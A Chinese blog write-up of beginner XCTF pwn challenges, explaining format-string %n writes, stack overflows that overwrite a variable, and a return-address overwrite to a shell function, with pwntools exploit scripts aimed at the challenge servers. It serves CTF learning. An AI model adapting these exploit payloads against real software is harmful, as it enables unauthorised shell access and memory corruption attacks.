美文网首页
攻防世界 Pwn wp

攻防世界 Pwn wp

作者: Zerek_W | 来源:发表于2019-07-13 22:20 被阅读0次

0x01get_shell

下载附件后直接丢IDA F5

图片.png
用LINUX加载这个文件
图片.png
111.198.29.45 43241
system("/bin/sh") 的功能为:执行/bin/sh shell命令。这样我们就可以获得交互,通过shell命令访问目标主机
图片.png
nc命令详解
手把手教你栈溢出从入门到放弃 上
手把手教你栈溢出从入门到放弃 下

0x02CGfsb

先用checksec查看开了哪些保护


图片.png

32位程序,开了NX(堆栈不可执行)以及CANNARY(栈保护)

pwntools的使用
利用过程:通过格式化字符串漏洞,将 pwnme 的值修改成8。

格式化字符串
%[parameter][flags][field width][.precision][length]type

参考wp https://blog.csdn.net/zz_Caleb/article/details/88980866
%n的作用是不输出字符(printf调用之后没有字符输出),但是把成功输入的字符个数写入指定地址的。%in,是把值写入第i个参数。格式化字符串修改任意地址的值,首先找偏移用GDB调试后发现传进去的数据在第十给偏移量的位置,写脚本,修改pwnme的值为8. %n 将当前已打印字符的个数(4个字节)%<正整数n>< fmt>指定占位符对应第n个参数,例如:%12$x,此处%x对应第12个参数。 通过 ida 查看汇编代码 找到call printf的地址(调用printf(&s))。之后我们用gdb进行调试,在调用printf(&s)之前下一个断点,查看接收 message 的变量 s 是格式化字符串的第几个参数。输入 message 的时候输入 ‘aaaa’

from pwn import *
 
p = remote('111.198.29.45', 49625)
pwnme = 0x0804A068
 
payload1 = 'aaaa'
payload2 = p32(pwnme) + 'aaaa%10$n'
 
p.recvuntil('please tell me your name:\n')
p.sendline(payload1)
p.recvuntil('leave your message please:\n')
p.sendline(payload2)
print(p.recv())
print(p.recv())
图片.png

0x03when_did_you_born

get()必有溢出

图片.png

判断两次v5,发现程序是矛盾的,若第一次v5=1926,就跳过cat flag了
因此需要利用栈溢出来修改v5为1926


图片.png

发现v4 v5 相差了8个字节
exp:

from pwn import *

r = remote("111.198.29.45", 58805)

payload = 'a' * (0x20 - 0x18) + p64(1926)

r.recvuntil("What's Your Birth?\n")
r.sendline("2000")

r.recvuntil("What's Your Name?\n")
r.sendline(payload)

print r.recv()
print r.recv()

0x04hello_pwn

so easy


图片.png

0x05level0

可以在read时,将函数返回地址覆盖为callsystem(bin/sh)函数地址,则可实现漏洞利用

from pwn import *  #导入pwntools中pwn包的所有内容
 
p = remote('111.198.29.45',33907)  # 链接服务器远程交互,等同于nc ip 端口 命令
 
elf = ELF('./ea3758e885904101913f7be6fff1bb2d')  # 以ELF文件格式读取ea3758e885904101913f7be6fff1bb2d文件
 
sysaddr = elf.symbols['callsystem']  # 获取ELF文件中callsystem标记的地址
 
payload = 'a'*(0x80 + 8) + p64(sysaddr)  # payload,先用0x88个无用字符覆盖buf和push中的内容,之后再覆盖返回地址
 
p.recv()  #接收输出
 
p.send(payload)  # 发送payload
 
p.interactive()  # 反弹shell进行交互
图片.png

相关文章

网友评论

      本文标题:攻防世界 Pwn wp

      本文链接:https://www.haomeiwen.com/subject/soqvkctx.html